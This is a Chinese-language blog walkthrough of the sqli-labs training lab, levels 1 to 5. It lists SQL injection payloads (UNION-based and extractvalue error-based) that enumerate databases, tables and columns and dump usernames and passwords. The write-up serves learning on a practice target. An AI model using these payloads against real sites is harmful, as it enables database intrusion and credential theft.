首页 > 数据库 >sqli-labs做题过程详解

sqli-labs做题过程详解

时间:2024-11-23 23:58:02浏览次数:11  
标签:group union labs sqli 做题 concat --+ id select

Less-1

1.判断注入点

在这里插入图片描述
提示我们输入一个id,因此构造payload为

?id=1 and 1=2

页面正常回显,可判断为字符型。接着判断闭合方式,构造payload为

?id=1'

在这里插入图片描述
页面报错,因此可判断闭合方式为单引号。然后我们可以用–+注释掉’,在中间添加我们想要查询的语句

2.联合注入

1.判断有多少列,可以用group by来判断
构造payload

?id=1' group by 4 --+

在这里插入图片描述
用二分法尝试可以知道有3列

2.爆显示位

?id=-1'union select 1,2,3--+

在这里插入图片描述
根据页面回显可以看到第2,3列是在页面显示的
3.获取数据名和版本号

?id=-1'union select 1,database(),version()--+

在这里插入图片描述
4.爆表

?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

在这里插入图片描述
group_concat是将查询到的数据合并到一行显示。
5.爆字段名,根据回显的表名,我们猜测用户名和密码可能在users中。

?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

在这里插入图片描述
6.得到users中对应的内容

?id=-1'union select 1,2,group_concat(username,id,password) from users--+

中间加id是为了隔离username和password两个敏感字段。
在这里插入图片描述

Less-2

1.判断数字型还是字符型

?id=1

在这里插入图片描述
正常回显

?id=1 and 1=2

在这里插入图片描述
无回显,为数字型

2.联合注入
2.1获取列数

?id=1 group by 4 --+

在这里插入图片描述

?id=1 group by 3 --+

在这里插入图片描述
可以判断出有3列
2.2爆显示位

?id=-1 union select 1,2,3--+```

在这里插入图片描述
2,3列显示

2.3爆版本号和数据库名

?id=-1 union select 1,database(),version()--+

在这里插入图片描述
2.4爆表

?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

在这里插入图片描述
2.5爆字段名

?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

在这里插入图片描述
2.6获取里面的内容

?id=-1'union select 1,2,group_concat(username,id,password) from users--+

在这里插入图片描述

Less-3

和前两题类似

?id=1
?id=1 and 1=2
?id=1'

在这里插入图片描述
可以判断出为字符型,闭合方式为’)

?id=1') group by 4 --+
?id=1') group by 3 --+

在这里插入图片描述
在这里插入图片描述
可以看出有3列

?id=-1') union select 1,2,3 --+
?id=-1') union select 1,database(),version()--+
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1') union select 1,2,group_concat(username,id,password) from users--+

在这里插入图片描述

Less-4

和前几题都差不多,字符型无非就是闭合方式不一样

?id=1
?id=1 and 1=2
?id=1'
?id=1"

在这里插入图片描述
闭合方式为")

?id=1") group by 4--+
?id=1") group by 3--+
?id=-1") union select 1,2,3--+
?id=-1") union select 1,database(),version()--+
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1") union select 1,2,group_concat(username,id,password) from users--+

在这里插入图片描述

Less-5

1.判断注入方式

?id=1

在这里插入图片描述

?id=1 and 1=2

页面还是和之前一样,说明是字符型

2.判断闭合方式

?id=1'

在这里插入图片描述
根据报错提示,我们可以知道闭合方式是单引号

?id=-1' union select 1,2,3--+

在这里插入图片描述
页面没有回显位,我们可以尝试用报错注入

3.报错猜解列数

?id=1' group by 3--+

经过多此尝试可以知道查询的有三列
接下来查询当前使用的数据库

4.查看当前使用的数据库

?id=-1' union select 1,extractValue(1,concat('~',(select database()))),3--+

在这里插入图片描述
5.爆表

?id=-1' and 1=extractValue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security')))--+

在这里插入图片描述
6.爆字段名

?id=-1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),0x7e))--+

在这里插入图片描述

7.爆用户名和密码

?id=-1' and extractvalue(1,concat(0x7e,(select group_concat(username,id,password) from users),0x7e))--+

在这里插入图片描述
感觉这里没有完全显示出来,因为extractvalue()只能返回前32个字符。我们可以用substring()函数解决这个问题

?id=-1' and extractvalue(1,concat(0x7e,(select substring(group_concat(username,id,password),32,30)from users),0x7e))--+

一直到202,30才结束,感觉这样很麻烦。后面学了其他更好的处理方法再改吧,这里暂时这样了。

标签:group,union,labs,sqli,做题,concat,--+,id,select
From: https://blog.csdn.net/2301_79883204/article/details/143935842

相关文章

  • c# sqlite "unable to open database file"错误
    我这个问题是开发环境正常,打安装包后运行报错,记录一下一、解决连接的问题App.config<connectionStrings><addname="sqliteConnection"connectionString="DataSource=|DataDirectory|\UpperMaterial.db;Pooling=true;FailIfMissing=false"providerName="System......
  • AI图像编辑重大升级!BlackForestLabs 发布FLUX.1 Tools,为创作者提供了更强大的控制能力
    AI图像编辑昨晚迎来了一次重大升级!BlackForestLabs发布了FLUX.1Tools套件,为创作者提供了更强大的控制能力。FLUX.1Tools套件介绍这次发布包括四项新功能:FLUX.1Fill:最先进的图像填充与扩展模型,结合文本描述和二值掩码,支持对真实和生成图像的编辑与扩展。FLUX.1D......
  • xss-labs靶场第十二关测试报告
    目录一、测试环境1、系统环境2、使用工具/软件二、测试目的三、操作过程1、注入点寻找2、使用hackbar进行payload测试3、绕过结果四、源代码分析五、结论一、测试环境1、系统环境渗透机:本机(127.0.0.1)靶 机:本机(127.0.0.1)2、使用工具/软件火狐浏览器的hac......
  • sql-labs靶场第十七关测试报告
    目录一、测试环境1、系统环境2、使用工具/软件二、测试目的三、操作过程1、寻找注入点2、注入数据库①寻找注入方法②爆库,查看数据库名称③爆表,查看security库的所有表④爆列,查看users表的所有列⑤成功获取用户名和密码信息3、sqlmap注入方法①爆库②爆表③爆......
  • sql-labs靶场第十六关测试报告
    目录一、测试环境1、系统环境2、使用工具/软件二、测试目的三、操作过程1、寻找注入点2、注入数据库①寻找注入方法②爆库,查看数据库名称③爆表,查看security库的所有表④爆列,查看users表的所有列⑤成功获取用户名和密码信息3、sqlmap注入方法①爆库②爆表③爆......
  • sql-labs靶场第十五关测试报告
    目录一、测试环境1、系统环境2、使用工具/软件二、测试目的三、操作过程1、寻找注入点2、注入数据库①寻找注入方法②爆库,查看数据库名称③爆表,查看security库的所有表④爆列,查看users表的所有列⑤成功获取用户名和密码信息3、sqlmap注入方法①爆库②爆表③爆......
  • sqli-labs less-23 注释符绕过
    注释符绕过来到23关,提示我们用id查询查询:http://192.168.140.130/sq/Less-23/?id=1页面回显正常,构造http://192.168.140.130/sq/Less-23/?id=1'报错Warning:mysql_fetch_array()expectsparameter1toberesource,booleangiveninC:\phpStudy_64\phpstu......
  • sqli-labs less-26 空格绕过
    空格绕过过滤空格用Tab代替空格%20%09%0a%0b%0c%0d%a0//()绕过空格注释符绕过//–%20//#–±--;%00;空白字符绕过SQLite3——0A,0D,0c,09,20MYSQL09,0A,0B,0B,0D,A0,20PosgressSQL0A,0D,0C,09,20Oracle_11g00,0A,0D,0C,09,20MSSQL01,02,03,04,05,06,0......
  • sqli-labs less-25 and/or绕过
    来到less-25我们可以看到下面有提示,Hint:YourInputisFilteredwithfollowingresult:说明本关卡有过滤,构造http://192.168.140.130/sq/Less-25/?id=1’页面报错,从报错可以得知闭合方式为',所以用注释符,发现注释符被过滤了http://192.168.140.130/sq/Less-25......
  • upload-labs 文件上传靶场 详细攻略(pass1-10)
    前言:本篇文章主要讲解upload-labs第1-10关,原因是前十关的代码过滤思路大体上是相似的,无非是每关缺少了某几个函数导致过滤不严谨造成漏洞,因此可以归为一起学习,从而熟悉文件上传中常用的过滤函数,了解代码的原理和设计的目的文件上传漏洞对于文件上传漏洞的简要概括就......